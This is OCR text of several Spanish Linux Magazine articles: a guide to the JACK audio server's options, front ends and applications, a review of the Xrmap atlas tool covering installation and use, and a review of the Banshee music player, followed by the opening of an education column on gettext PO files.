• -d, —driver: Selecciona el driver. De
hecho, con esta opción se está seleccio-
nando el programa de fondo del sistema
de audio. Actualmente los sistemas
soportados incluyen ALSA, OSS/Linux,
CoreAudio, PortAudio y un sistema “de
pega” (útil para pruebas). La mayoría de
los usurios Linux elegirán o ALSA u OSS.
• -r —rate: Establece el rate de sampleado
de JACK. El valor por defecto es de 48000
Hz, aunque será preciso experimentar
para determinar la proporción más ade-
cuada para cada sistema. Los sistemas
poco potentes tendrán que bajar la pro-
porción de sample para mejorar el
rendimiento, aunque generalmente se
precisará una proporción de al menos
44100 Hz para un sonido de alta calidad.
Obsérvese también que algunas tarjetas
de sonido (por ejemplo, la SB-Live) fun-
cionan bien solamente con un rate de
sampleado determinado.
• -p, —period: Especifica el número de cua-
dros entre las llamadas a la función
proce~(). El valor predeterminado es
1024, pero para baja latencia, se ha de dis-
minuir todo lo posible sin incurrir en
xruns. Los periodos más largos dan como
resultado una mayor latencia, pero
menor posibilidad de xruns, por tanto se
recomienda la experimentación para con-
seguir el nivel óptimo para el hardware.
Por cierto, man jackd nos informa de que
la latencia de entrada de JACK es (en
segundos) el —period dividido por el —
rate.
• -i, —inchannels; -o, —outchannels: Estas
opciones determinan el número de cana-
les de audio de E/S. El valor por de defecto
es el número máximo soportado por el
hardware.
• -n, —nperiods: Especifica el número de
periodos en el búfer de hardware. El valor
por defecto es el 2. El tamaño del periodo
(-p) multiplicado por —nperiods multipli-
cado por cuatro será igual al tamaño del
búfer de JACK en bytes.
• -C, —capture; -P, —playback; -D, —
duplex: Configura a JACK para sólo
grabación, sólo reproducción o full
duplex (reproducción y grabación simul-
táneos). Estas opciones pueden ser muy
importantes: Algunas tarjetas simple-
mente no funcionarán bien en modo
duplex, aunque sí lo harán bastante bien
en modo simple.
Opciones JACK
requiere un soporte especial. Sólo es
suficiente seguir el procedimiento de
instalación básico para nuestro sis-
tema, y voilá, dispondremos de
nuestro sistema JACK listo para su
uso.
Arranque de JACKEl servidor JACK arranca con jackd o
jackstart. Su manual (man jackd)
nos dice que jackd invoca el demo-
nio del servidor de JACK y que
jackstart es usado cuando se usan
las capacidades en tiempo real para
el soporte para la compilación de
JACK. Todas las opciones son las
mismas para cualquier invocación.
Para la mayoría de los usuarios que
trabajan con sistemas con un kernel
2.4 parcheado, jackstart será el
método preferido de arranque del
servidor. Los usuarios que trabajen
con kernel 2.6 deberían usar jackd.
Un ejemplo de un arranque senci-
llo:
jackd -R -d alsa -d hw:0
En este ejemplo JACK ha sido arran-
cado con capacidad de tiempo real,
conociéndose el programa de fondo
ALSA y direccionando el primer dis-
positivo de hardware en el sistema
de audio. -d hw:0 es, de hecho, inne-
cesario; la selección de hardware
siempre habilita -d hw:=0 por
defecto. Obviamente, debería usarse
un numero distinto para una tarjeta
diferente o para un chipset en un
sistema con múltiples dispositivos
de sonido.
A continuación se
muestra un ejemplo
un poco más com-
plejo para la tarjeta
de sonido SBLive:
jackstart -R -d
alsa -d hw:1~~
-p 512 -r
48000 -z s
Una vez más pue-
den apreciarse el tiempo real y las
opciones ALSA. El selector de dispo-
sitivo se enumera como hw:1 porque
SBLive es la segunda tarjeta en esta
máquina en particular. He añadido
opciones para el tamaño del búfer (-
p), para el rango de sample de JACK
(-r) y para la opción de dithering de
audio (-z).
Puede observarse que la opción -p
configura el tamaño del búfer de
software. Tal y como apuntó Jack
O’Quin, este es el tamaño del búfer
visto para todos los clientes de
JACK.
GUIs para JACKYa hemos podido ver a JACK en
acción en la línea de comandos. Sin
embargo, cuando funciona en un
entorno X es preferible disponer de
una GUI para la configuración y las
opciones de JACK y, gracias al
desarrollador Rui Nuno Capela,
disponemos del maravilloso QJackCtl
(Figura 1). Esta más que útil
aplicación proporciona una interfaz
gráfica todo en uno para configurar y
controlar todas las operaciones de
JACK. Además del apropiado diálogo
de configuración (Figura 2), QJC
facilita un panel de conexiones de
audio para clientes JACK y un juego
de controles de transporte (si desea
usarse QJC como el principal
transporte de JACK). QJC suministra
además paneles de presentación de
estado y mensajería, controles de
comienzo y parada del servidor, y
controles de reproducción/pausa para
el sistema de control de transporte de
JACK.
QJC incluye también un panel de
conexiones MIDI para clientes del
secuenciador de ALSA, permitiendo a
los usuarios administrar conectivida-
des de audio y MIDI desde una
interfaz de control única. Pueden sal-
varse y cargarse todas las conexiones
gráficas como un Perfil en la Patchbay
de QJC (Figura 3). La operación de
Patchbay no es lo suficientemente
automática, aunque ahorra una gran
cantidad de tiempo en el caso de que
existan un número elevado de cone-
xiones complejas.
QJC es mi herramienta favorita
para el control de JACK, si bien
Jack • LINUX USER
71Número 20W W W . L I N U X - M A G A Z I N E . E S
Figura 3: Patchbay ayuda a administrar las conexiones.
Figura 4: Ptchage es un patchbay para JACK y ALSA.Figura 2: Cuadro de diálogo de configuración de QjackCtl.
herramientas de la línea de
comandos, tales como jack_connetc/
jack_disconnect (administra
conexiones a clientes), jack_metro
(un metrónomo configurable),
jack_lsp (lista puertos JACK, sus
conexiones y propiedades) y
jack_transport (administra el estado
de control de transporte de JACK).
JACK también ha inspirado toda
una serie de utilidades y herramien-
tas muy interesantes. JACK-Rack de
Bob Ham es un contenedor muy útil
para plugins LADSPA que permite
compilar un rack virtual de audio
procesando módulos con control
MIDI de parámetros de plugin.
JAMin de Steve Harris es el resul-
tado de un esfuerzo colectivo
llevado a cabo por los profesionales
de audio de Linux para crear una
interfaz de masterizado estéreo con
calidad profesional basada en plu-
gins que procesan señales de audio
LADSPA. El Timemachine es otro
regalo de Steve Harris. Esencial-
mente es un grabador que mantiene
siempre un búfer de los últimos diez
segundos de material grabado. Una
vez completamente armado, Time-
machine escribe el búfer al disco y
continúa grabando en tiempo real.
JAAA (JACK y ALSA Audio Analy-
ser) de Fons Adriaensen es un
generador de señal y un analizar de
espectro profesional diseñado para
mediciones de audio de alta preci-
sión. Y para mostrar que no existe
necesidad de una GUI, jack_con-
volve de Florian Schmidt es un
motor de circunvalación que se eje-
cuta desde la línea de comandos
basado en JACK, muy manejable
para la creación de efectos de rever-
beración de alta calidad y otros
interesantes sonidos.
Las URLs para éstas y otras
muchas aplicaciones JACK se
encuentran listadas en el sitio de
Linux Sound & MIDI Sotware [9].
JACK en AcciónLas figuras 5 y 6 muestran dos usos
típicos de JACK en Dave Studio. La
Figura 6 ilustra el uso simple en una
red MIDI audio-plus combinando el
secuenciador MIDI seq24, el sinteti-
zador basado en la fuente de sonido
QSynth y JACK-Rack, todos funcio-
nando en mi PII 306 Omnibook y su
humilde chipset Crystal Sound
CS4232. La Figura 5 muestra un
juego de routeado y conexiones más
ambicioso con el administrador E/S
de JACK.
Queda algo más que decir acerca
del uso de JACK en estos escenarios.
Una vez se ha configurado, su
existen al menos otras dos GUIs para
la administración de su
conectividad. El Patchage de Dave
Robillard es un patchbay tanto para
audio JACK como para la
conectividad MIDI ALSA a través de
su interfaz visual integrada (Figura
4). QJackConnect de Matthias
Nagorni es un buen patchbay basado
en QT de sólo JACK, aunque parece
que su proyecto de desarrollo aún se
encuentra parado.
Aplicaciones que UsanJACKEl soporte de JACK ha llegado a con-
vertirse en una característica
predeterminada en el nuevo software
de audio de Linux. Como resultado, la
lista de implementaciones ha llegado
a ser demasiado extensa como para
poderla reseñar aquí, aunque sus
dominios de implementación incluyen
sistemas de grabación de disco duro,
(Ardour, ecasound, Wired), cajas de
ritmo/secuenciadores (Hydrogen),
entornos de síntesis de sonido por
software (Csound5, SuperCollider3),
secuenciadores de audio/MIDI (Rose-
garden, MusE, seq24), editores de
ficheros de sonido (Snd, Audacity,
mh-WaveEdit, ReZound) y sintetiza-
dores de sonido (AMS, Om,
ZynAddSubFX). Otros proyectos de
relevancia que utilizan JACK incluyen
LinuxSampler y el proyecto de sam-
pler Specimen y distintos esquemas
para el soporte de plugins de audio
VST/VSTi bajo Linux (dichos esque-
mas requieren también software
WINE). Los sistemas de reproducción
de medios de Linux tales como MPla-
yer, XMMS y AlsaPlayer también
ofrecen soporte JACK.
Nótese que estas aplicaciones
varían según su nivel de soporte de
JACK. Algunos sólo usan la conectivi-
dad de audio, otros las
implementaciones parciales de su
control de transporte, mientras que
otros cuantos ya disfrutan de las ven-
tajas completas de las características
de JACK. Se aconseja consultar la
documentación para cualquier aplica-
ción que sea capaz de comunicase
con JACK para determinar el alcance
de su soporte.
El paquete básico de JACK incluye
un buen número de útiles
LINUX USER • Jack
72 Número 20 W W W . L I N U X - M A G A Z I N E . E S
Figura 5: Una configuración más ambiciosa de JACK.
funcionamiento es completamente
transparente. Todo cuanto he de
hacer es efectuar mis conexiones y
hacer mi música.
Programación de JACKLa programación con el API de JACK
es con mucho lo más complicado de
este artículo. Los lectores interesa-
dos en esto pueden encontrar
material con excelentes instruccio-
nes en el código fuente de JACK (ver
simple_client.c en el directorio
example_clients) y en distintos sitios
Web. El tutorial de James Shuttle-
worth en http://www.dis-dot-dat.
net/index.cgi?item=/jacktuts/
starting/ es una introducción muy
bien escrita para añadir JACK a una
simple aplicación de audio. Lewis
Berman ha contribuído a través del
escrito de su grabación de audio en
http://userpages.umbc.edu/
~berman3/ y, evidentemente, la API
de JACK puede ser leída y estudiada
en el bien comentado fichero de
cabecera jack.h.
Si se compila JACK personalmente
y se tiene instalado el software
doxygen, puede generarse la docu-
mentación del desarrollador de
JACK. Esta documentación también
se encuentra disponible en la página
web de JACK, pero ésta está un poco
desfasada, ya que se actualizó por
última vez el 15 de Septiembre de
2005.
El Futuro de JACKEn el año 2004 JACK ganó el bien
merecido premio de bronce en la
importante Merit Awards concedido
por la Open Source Initiative. En
aquel momento, el desarrollo de JACK
se encontraba en la versión 0.9x. En
el momento de escribir este artículo
JACK se encuentra en su versión
0.101.0, a punto de llegar la versión
1.0, augurándosele un buen futuro.
Stephane Letz ha portado con éxito
JACK a OSX. El soporte para OSX se
ha convertido en algo común en el
nuevo software de audio de Linux. Y,
por cierto, ya ha aparecido una imple-
mentación para Java.
Los músicos MIDI están familiariza-
dos con las implementaciones de
código de tiempo que todavía no
soporta JACK, por lo que sería muy
bien acogida una coordinación de las
capacidades de sincronización. Han
dado comienzo algunos trabajos en
esta dirección, así que es probable
que se produzca una fusión de MIDI y
JACK en el futuro.
Los atractivos de JACK parecen ser
irresistibles, pero puede que no sea la
mejor solución para los servicios
comunes de audio de escritorio. A
diferencia de ALSA, JACK no se
plantea la inclusión en las fuentes del
kernel de Linux, de modo que su
presencia en cualquier distribución
Linux es resultado de una decisión
tomada por el productor de la distro.
Además, JACK no es tan transparente
para el usuario como los servidores
artsd y esd, requiriendo más
configuración para obtener un mejor
rendimiento. No obstante, JACK es un
sistema muy flexible pudiendo llegar
a convertirse en el servidor de audio
de facto para el escritorio Linux.
Para los que se inclinan hacia un
uso profesional de audio, JACK es un
regalo celestial. Su estabilidad de fun-
cionamiento ya ha sido probada y
verificada a través de la elevada
demanda de aplicaciones de audio
real a nivel mundial y su aplicabili-
dad puede verse en el aumento de la
cantidad de programas basados en
JACK, que cada vez son más podero-
sos. El API de JACK ha allanado el
camino para una nueva ola de aplica-
ciones de audio de Linux de alta
calidad. Tanto si se necesita que fun-
cione un sistema de audio manera
cien por cien estable para Ardour,
como si lo que se desea es algo diver-
tido para enrutar la salida de XMMS,
hay que conocer JACK. �
Jack • LINUX USER
73Número 20W W W . L I N U X - M A G A Z I N E . E S
[1] Sitio web de JACK: http://jackit.
sourceforge.net
[2] Tabla de compatibilidad de tarjetas de
sonido con ALSA: http://www.
alsa-project.org/alsa-doc/
[3] Patchage: http://www.scs.carleton.ca/
~drobilla/patchage/
[4] QJackConnect: http://www.suse.de/
~mana/jack.html
[5] QJackCtl: http://qjackctl.sourceforge.
net
[6] Entrevista con Paul Davis en
Builder.com: http://builder.com.com/
5100-6375-5136755.html?tag=tt
[7] Mini-HOWTO de baja latencia: http://
www.djcj.org/LAU/guide/
Low_latency-Mini-HOWTO.php3
[8] Notas de Florian Schmidt para compi-
lar un kernel 2.6 de baja latencia:
http://tapas.affenbande.org/
?page_id=3
[9] La página de JACK en linux-
sound.org: http://linux-sound.org/jack.
html
RECURSOS
Figura 6: JACK con una red audio-plus-MIDI.
LINUX USER • Desktopia: Xrmap
74 Número 20 W W W . L I N U X - M A G A Z I N E . E S
Xrmap es una herramienta que sumi-
nistra acceso a una interesante
colección de datos: el libro Factbook
de la CIA [4], el cual contiene un importante
conjunto de detalles de la extensa base de
datos de la CIA.
Según el proyecto de la página de inicio, los
mapas vectoriales muestran un total de 20.000
ciudades junto con aeropuertos, montañas y
observatorios. Estos datos se encuentran
todos disponibles en un fichero empaquetado.
Xrmap es la puerta de entrada a este conjunto
de datos, permitiendo a los usuarios un acceso
rápido a través de una GUI que funciona en
cualquier sistema X11.
Instalación de XrmapLos archivos RPM y tar de Xrmap se encuen-
tran disponibles en la página de inicio del
proyecto en [1]. Si se prefiere instalarlo a partir
del código fuente, se descarga el tarball, se
desempaqueta el archivo y se cambia al direc-
torio:
tar xvjf Xrmap-2.33.tar.bz2
cd Xrmap-2.33/
El paso siguiente consiste en editar el fichero
Imakefile. En este fichero las variables permi-
ten especificar el directorio en el que se
instalarán los componentes del programa
Xrmap:
XCOMM
Install to /usr or /usr/local
DESTDIR=/usr
Si se mantienen los valores predeterminados,
las partes del software, tales como las páginas
de los manuales o los ficheros binarios, se
situarán bajo /usr en el árbol de directorios.
Bajo la línea de comentario XCOMM
Default External utilities se encontrarán las
herramientas externas que Xrmap usa para
visionar las páginas HTML y los ficheros
Postscripts o para reproducir ficheros MIDI:
PS_VIEWER=”gv -noantialias”
IM_VIEWER=”display U
-background gray84”
HTML_VIEWER=”dillo”
PRINT_CMD=”lpr -Plp”
EDITOR=”emx -fn 9x15”
MIDIPLAYER=”timidity -ig”
si se prefiere usar un visor diferente de la
herramienta de presentación por defecto será
preciso modificar la variable IM_VIEWER para
que la nueva elección quede reflejada. Esto
también se aplica a otras variables de
configuración en esta sección. En nuestro
laboratorio observamos que arrancando algu-
nos editores de texto desde Xrmap se
producían algunos problemas. Por ejemplo, el
editor Gvim aparecía con páginas vacías.
Como las herramientas por defecto son
todas programas excelentes, será preferible
mantenerlas antes que modificar Imakefile.
Siempre pueden establecerse las opciones en
la línea de comandos para cambiar las herra-
mientas externas posteriormente.
La distribución de Suse actual incluye
Ghostview (gv), Timidity y el paquete Image-
magic, el cual incluye Display. El único
programa del que carecen la mayoría de las
distribuciones es Dillo, el rápido navegador
web que puede ser descargado desde la web
[2]. El editor Emx, por cierto, es un compo-
nente de Xrmap.
Después de modificar Imakefile para adap-
tarlo a tus gustos y de salvar el fichero, se
introduce el comando xmkmf y, finalmente,
para compilar el programa, make.
Una vez que make haya completado la
compilación, se mostrará un mensaje indi-
cando los ficheros internos que necesita el
programa. Es una buena idea copiar el texto
desde la ventana de la shell a un fichero de
texto; puede que sea preciso hacer referencia a
esta salida después.
Pero concentrémonos en la instalación de
Xrmap. En primer lugar se introduce el
comando su para convertirse en superusua-
rio. A continuación se ejecuta el comando
make -n install | less para comprobar si la
configuración guarda los componentes,
tales como el manual, en los directorios
especificados.
Si la prueba es de nuestra entera satisfac-
ción, hay que convertirse en superusuario y
emitir al comando make install. Ha llegado
la hora de prestar atención a la salida de los
ficheros de datos en el mensaje. Los ficheros
La vuelta al mundo con Xrmap.
ATLAS DIGITALSi deseas llegar a convertirte en un experto en geografía mundial ayúdate
con la CIA. POR ANDREAS KNEIB
incluyen el mapa comprimido
CIA_WDB2.jpd.bz2, el tarball con las ban-
deras nacionales flags-2.5-eps.tar.bz2 o el
Factbook de la CIA en formato HTML, titu-
lado factbook_html_2005.tar.bz2 . El
mensaje clasifica estos ficheros en catego-
rías requeridas, recomendadas y
opcionales.
Este material puede descargarse desde el
servidor ftp del proyecto en [4]. Los ficheros
tienen un tamaño de entre 26MB y 476MB,
así que se es una buena idea elegir los
paquetes en función el ancho de banda dis-
ponible.
Tras completar la descarga se mueven los
ficheros al directorio compartido especifi-
cado en SHAREDIR en Imakefile, en nuestro
ejemplo éste sería /usr/local/share/rmap.
Luego se cambia al directorio SHAREDIR y
se desempaquetan las extensiones compri-
midas:
cd /usr/local/share/rmap
for i in *.tar.bz2: U
do tar xvjf $i; done
Xrmap ya está listo para ser usado.
Ciudades, Países, RíosUna vez completado el proceso de instala-
ción de Xrmap hacer uso del software se
convierte en un juego de niños. Se escribe
xrmap en la shell para arrancar el pro-
grama. Xrmap muestra un globo terraqueo.
Pulsando la tecla [+] se amplia el mapa,
mientras que la tecla menos [-] reduce la
resolución de la selección visible. Las teclas
de cursor permiten moverse de un lugar a
otro en el mapa. Como alternativa, puede
hacerse clic derecho en un campo del
mapa; el software ampliará esta selección
para ofrecer una visión más detallada.
El botón central del ratón abre un menú
en el que pueden elegirse algunas opciones
haciendo clic sobre las letras resaltadas. Por
ejemplo, la tecla [O] abre el editor para las
opciones de configuración. Luego puede
seleccionarse File y a continuación el pará-
metro External Programs en el submenú.
Ahora puede modificarse la herramienta
que se especificó previamente en el Imake-
file. Haciendo clic en el cuadro browser
HTML y cambiando el texto del cuadro de
Dillo a Firefox, le dirá a Xrmap que use
Mozilla Firefox para visionar las páginas
HTML en el Factbook de la CIA.
Las opciones son bastante completas,
abarcando un amplio abanico de temas,
que van desde la configuración de
impresión, mapas que se usarán, opciones
de color destacados y búsqueda de
configuraciones para países, ciudades y
regiones. También pueden destacarse los
aeropuertos, las cumbres de las montañas,
observatorios o las longitudes y latitudes.
Los atajos de teclado son el modo más
rápido de acceder a muchos parámetros. La
tecla [I] nos da los nombres de las ciudades;
pulsando [A] se muestran los aeropuertos y
sus nombres. Para ver los observatorios se
pulsa la tecla [B]. Los nombres de países y
océanos se ven pulsando [L] y con [P] se
mostrarán los picos de las montañas.
Puede pulsarse una tecla para cambiar la
vista de una ciudad, mostrar una ciudad
con su nombre u ocultarla. La tecla [:] abre
un mapa topográfico de la región seleccio-
nada.
Ya se está familiarizado con las funciones
que los botones del ratón derecho y central
nos proporcionan, por lo que a continua-
ción hablaremos del botón izquierdo.
Cuando pasas el ratón por encima de una
ciudad y pulsas el botón izquierdo, aparece
el cuadro City & Country. Este cuadro ofrece
información útil sobre la ciudad y el país
que se han resaltado. La ventana proporcio-
nará toda la información sobre el estado en
el que está localizada la ciudad y también se
complementará con las características geo-
gráficas del estado y el crecimiento de la
población.
Para aeropuertos, Xrmap proporciona el
código de aeropuerto y el largo de la pista.
Para las cumbres, nos informará de la cor-
dillera a la que pertenece, junto con la
altura, evidentemente.
No importa si se ha seleccionado una
ciudad, cumbre, observatorio o un aero-
puerto, la ventana siguiente proporcionará
información acerca del país y seis botones.
De izquierda a derecha los botones ofrecen
datos del país, extraído del Factbook de la
CIA, el texto del himno nacional, la melo-
día del himno nacional y la bandera como
un fichero Postscript, PDF o gráfico. El
último botón centra la imagen en la ven-
tana.
Como Xrmap conoce al menos 1.000
caminos que conducen a Roma, también
dispone de un importante número de pará-
metros de la línea de comandos. El manual
ofrece a los usuarios una lista de más de
ochenta opciones que pueden ser estable-
cidas desde la shell. Para obtener la ayuda
de Xrmap puede ejecutarse man xrmap en
la línea de comandos o bien pulsar la tecla
[H].
En lugar de configurar atajos de teclado y
configuraciones, simplemente pueden
pasarse las opciones de la línea de coman-
dos a la herramienta. Por ejemplo, se le
puede decir al programa que muestre +
cities y +airports. Para restringir la herra-
mienta a un mapa de Europa debería
especificarse -continent 3 , pudiendo car-
garse los ficheros del país en el editor
especificando -editor xedit.
Para ver el mapa de un lugar determinado
se especifican los parámetros -latitude y
longitude, por ejemplo: xrmap -latitude
40.4165 -longitude -3.7035 -zoom 10 + +
cities.
Este ejemplo nos lleva hasta el mapa de
Madrid (concretamente a la Puerta del Sol),
escala la visión diez veces (-zoom 10) y
muestra el nombre de la ciudad ( ++
cities). Puede elegirse cualquier punto de la
tierra.
ConclusiónAunque pueda resultar problemática la ins-
talación desde el código fuente, y a pesar de
que muchos añadidos no sean exactamente
ligeros de peso, Xrmap es una herramienta
potente, flexible y sorprendentemente sim-
ple para el estudio geográfico del mundo. �
Figura 1: El Factbook de la CIA da a los
usuarios información muy valiosa de todos
los países del mundo.
[1] Página de Xrmap: http://frmas.free.fr/
li_1.html#_Xrmap
[2] Navegador web de Dillo: http://www.
dillo.org
[3] Servidor FTP con datos añadidos: ftp.
ac_grenoble.fr/ge/geosciences/xrmap/
data/
[4] Factbook de la CIA: http://www.cia.
gov/cia/publications/factbook
RECURSOS
Desktopia: Xrmap • LINUX USER
75Número 20W W W . L I N U X - M A G A Z I N E . E S
LINUX USER • Banshee
76 Número 20 W W W . L I N U X - M A G A Z I N E . E S
Si posees cientos de pistas digi-
tales en el PC, necesitarás de
vez en cuando organizarlas
bajo una determinada estructura. La
tendencia iniciada por los iTunes de
Apple ha dado como resultado una
potente cosecha, de fácil uso, de
reproductores de audio bajo Linux.
En este artículo revisaremos el pro-
grama de audio Banshee que fue
escrito en Mono y que ha ido
ganando popularidad. Concretamente
nos centraremos en la versión actual
de Banshee, la 0.10.12.
Instalación
Banshee está basado en la infraes-
tructura Mono, por lo que habrá que
resolver un número determinado de
dependencias antes de comenzar.
Afortunadamente, existen binarios
pre-compilados para las versiones
más recientes de las distribuciones
Suse, Debian, Ubuntu, Fedora, Gen-
too, Mandriva y Foresight. Un Howto
de la página de inicio de Banshee [1]
dice cómo añadir los recursos de ins-
talación a tu sistema.
La instalación depende de las
características que se necesiten.
Como esta herramienta está basada
en la infraestructura GStreamer,
serán precisos plugins GStreamer
para Ogg o MP3, por ejemplo, para
reproducir formatos de audio. Si se
dispone de Ubuntu Dapper o de
Debian Sid pueden instalarse gstrea-
mer0.10-plugins-base,
gstreamer0.10-plugins-good y gstrea-
mer0.10-plugins-ugly para añadir esas
capacidades.
Si Banshee no se encuentra en
nuestra distribución, o si se desea la
última versión del programa, habrá
que remangarse y compilar los
paquetes fuente manualmente. No es
que sea imposible, aunque sí es
extremado el tiempo que se necesita
para resolver todas las dependencias.
El HOWTO de la página de inicio de
La gramola Mono para el escritorio Gnome
BANSHEEEn la mitología celta, las llamadas de duelo del Banshee se oyen
cuando un miembro de la familia está próximo a morir. La herramienta
Banshee de Linux también hace ruido, pero afortunadamente mucho
más alegre. Este otro Banshee te ayuda a organizar (y reproducir) tu
colección de música. POR RÜDIGER ARP
ID3: “Identificar un MP3”: información
adicional que pueden almacenar los
ficheros de audio formateados como
MP3. Puede contener, por ejemplo, el
nombre de la pista, artista y género.
GLOSARIO
función: Library, Encoding, Burning
y Advanced. Library es donde se
establece la ruta a la carpeta de
música de Banshee y dice si se
quiere que Banshee copie los
ficheros de audio desde la librería
que se está importando a esta
carpeta. Esta función es muy útil
para los propietarios de portátiles
que almacenan pistas en sus
ordenadores de sobremesa o
servidores pero que no quieren estar
sin música cuando viajan.
La solapa Encoding tiene detalles
sobre los formatos de los ficheros y
el bitrate en el que los CDs de audio
ripearán a disco. También es aquí
donde se encontrarán las configura-
ciones para los reproductores iPod
MP3 de Apple si tienes uno de ellos.
Burning dispone de configuraciones
para tostar CDs. La solapa Advanced
muestra el motor de audio que usa
Banshee.
Para importar una colección de
pistas se selecciona Music | Import
Music. Una advertencia: Cuando
intenté importar unos 740 ficheros
Ogg y MP3 desde un disco local,
tuve que reiniciar la operación múl-
tiples veces antes de que acabara
completamente, porque Banshee ten-
día a colgarse.
Tras completar la importación ori-
ginal, las sesiones de importación
siguientes se completaron sin pro-
blemas, y no tuve ninguna dificultad
a la hora de hacer que Banshee
hablara con mi iPod. Tan pronto
como enchufé el reproductor al
puerto USB, el programa mostró la
librería de la pista almacenada en el
iPod. Fue fácil transferir pistas entre
Banshee y el iPod.
Listas de ReproducciónLa interfaz de usuario de Banshee de
doble panel es ordenada hasta el
punto de ser espartana. Cuando se
comienza, el panel izquierdo tiene
una única entrada: Music Library, el
contenido se muestra a la derecha.
De momento Banshee no soporta
tipos de listas de reproducción inte-
ligentes con las que puede que estés
familiarizado (por ejemplo
Rhythmbox [3] o Amarok [4]) las
cuales muestran las últimas cancio-
nes reproducidas.
Banshee [2] será de ayuda para todos
aquéllos que sean lo suficientemente
valientes para intentarlo. Si se posee
un reproductor externo como un iPod
Apple o un Jukebox Nomad, se
encuentran disponibles determinadas
librerías adicionales para su instala-
ción para que el reproductor se
entienda con Banshee.
Dame de ComerTras completar la instalación, es
posible abrir las configuraciones del
programa bajo Edit | Properties antes
de comenzar a importar las pistas. El
programa usará estas configuracio-
nes más tarde para tareas como la
grabación de CDs de audio.
Las configuraciones están
hábilmente divididas según la
Figura 1: Banshee maneja los CDs de audio y pistas editadas por Rhytmbox.
Figura 3: El plugin Tray proporciona una presentación elegante de la información de pista.
Figura 2: Uso del cuadro de diálogo de iPod
Properties para administrar las
configuraciones iPod.
Banshee • LINUX USER
77Número 20W W W . L I N U X - M A G A Z I N E . E S
seleccionar la lista, y un clic derecho
para desplegar el menú contextual. Al
principio no se tendrá una lista de
reproducción, así que la única opción
es seleccionar Add to Playlist | New
Playlist. Se da un clic derecho a la
nueva lista de reproducción, y se
selecciona Rename Playlist para cam-
biar el nombre. A continuación puede
compilarse la lista paso a paso.
Etiquetas versusMetadatosEl elemento Edit Song Metadata
soporta información de pista de fácil
edición. Mi primer intento para editar
la información de pista almacenada
en las etiquetas ID3 de una librería de
música en una partición Samba mon-
tada produjo unos resultados
sorprendentes.
Aunque Banshee aplicó los cambios
de manera directa, otros reproducto-
res de audio que accedieron a los
mismos datos ignoraron los cambios.
Algunas investigaciones revelaron
que Banshee leerá las etiquetas ID3
existentes, aunque no almacena los
cambios en estas etiquetas. Banshee
almacena información de la pista en
una base de datos Sqlite bajo ~/
.gnome2/banshee/banshee.db. Evi-
dentemente, la información no es
accesible para otros programas de
reproducción.
Ripear y TostarBanshee añade CDs de audio a tu
colección de una manera fácil.
Cuando se inserta un disco, el pro-
grama consulta automáticamente la
información del CD y presenta el
título del álbum. Haciendo clic sobre
éste último presenta las pistas en el
panel derecho y el botón Write CD
cambia a Import CD.
Tostar ficheros Ogg o MP3 es muy
fácil: se usa una lista de reproduc-
ción o una lista de búsqueda para
crear un CD, luego se pulsa Write CD
para crear un CD de audio para el
reproductor del coche. Banshee pasó
con creces nuestras pruebas de
varios formatos de salida.
ConclusionesAlgunas funciones, como el ripeado
o el tostado de CDs de audio o el
enchufado en caliente de reproduc-
tores de MP3, son francamente
buenas. Banshee tiene una buena
apariencia, aunque, por otro lado, la
creación de la lista de reproducción
fue poco intuitiva.
La solución provisional de Bans-
hee cuando almacena información
de pista es cuestionable, sin
embargo el programa se encuentra
en un estado de desarrollo tem-
prano, así que aún tenemos
esperanza. Tanto si Banshee se con-
vierte en tu reproductor favorito,
como si no, definitivamente oirás
más el grito de Banshee en un
futuro. �
El cuadro de búsqueda en la parte
superior derecha hace más fácil la
creación de listas o la búsqueda de la
librería de música. Cuando se intro-
duce un término para su búsqueda, la
lista en el panel bajo el cuadro de
búsqueda presenta una lista de coin-
cidencias. Pueden usarse los
encabezamientos de las columnas
para clasificar la lista por artista o
género. El orden de la columna es
libremente configurable: se hace clic
en el encabezamiento de la columna,
se mantiene pulsado el botón
izquierdo del ratón y se arrastra el
encabezamiento a la posición reque-
rida.
Para añadir la lista completa de las
coincidencias a la lista de reproduc-
ción, se pulsa [Ctrl]+[A] para
LINUX USER • Banshee
[1] Página de inicio de Banshee: http://
banshee-project.org
[2] Instalación desde el código fuente:
http://banshee-project.org/
Banshee_Source
[3] Página de inicio de Rhythmbox: http://
www.gnome.org/projects/rhythmbox
[4] Página de inicio de Amarok: http://
amarok.kde.org
[5] Página de inicio de Last.fm: (Audio-
scrobber): http://www.last.fm
[6] “Radio Personal”, por Marcel
Hilzinger. Linux-Magazine, Número
19.
RECURSOS
Banshee tiene los plugins siguientes,
todos accesibles vía Edit / Plugins…:
Audioscrobbler. Envía información
sobre las pistas reproducidas en Ban-
shee a la página web, Last.fm [5], [6]. El
plugin supone que el usuario dispone de
una cuenta de usuario Last.fm.
Music sharing. Muestra tu colección a
otros usuarios con Banshee, Rhythmbox
y iTunes. Para habilitar el plugin se nece-
sitan los paquetes banshee-daap y
avahi-daemon.
File System Monitor. Controla el estado
de tu carpeta de música y actualiza la
librería de audio si es necesario.
Multimedia Keys. Añade soporte para
teclas multimedia configuradas en
Gnome.
Metadata Searcher. Busca la librería de
audio y añade información de pista per-
dida y cubiertas de álbumes.
Notification Area Icon. Presenta el
icono del programa en el campo de
mensaje del panel de Gnome.
Plugins de Banshee
¡Veinte artículos! Esta modesta sección
de educación llega a su entrega número
veinte, es el momento quizás de hacer
un pequeño balance. Si desde el principio
quisimos darle una orientación práctica,
creo que ha primado el carácter exploratorio
de los artículos: hemos presentado herra-
mientas no muy conocidas por el público, o
aspectos novedosos de las mismas. La única
justificación está en la psicología del autor:
quizás confunda la obligación de no aburrir
con la de no aburrirse. Aun a riesgo de ser
un tanto demasiado oscuro, o técnico, o
conciso (tengo una justificación, las entre-
gas tienen que caber en cuatro o cinco
páginas).
Hemos querido cubrir un amplio espectro
de destinatarios, con artículos con herra-
mientas para Infantil (que alegan ser los
grandes olvidados de la formación en TIC),
especializadas para materias específicas,
plataformas de colaboración, buscadores de
recursos educativos, exploraciones del
estado de la atención a la diversidad… artí-
culos para un lector que se defiende
informáticamente y busca orientación en el
campo del uso pedagógico. No sé si ese des-
tinatario existe o si está en construcción,
como tampoco sé si hemos logrado el difícil
equilibrio entre el tono educativo y el que
corresponde a una revista de informática.
Creo que esta mínima reflexión basta en
ausencia de feedback. Sirva como introduc-
ción a un nuevo cambio de nivel: en esta
ocasión vamos a analizar con detalle una
tecnología, y volveremos a la eventual apli-
cación a las aulas en la siguiente entrega.
¿Que por qué? Porque es necesario, en este
caso puedo afirmarlo con rotundidad.
Los problemas de PODecíamos el mes pasado que la tecnología get-
text y el formato PO habían logrado un nivel
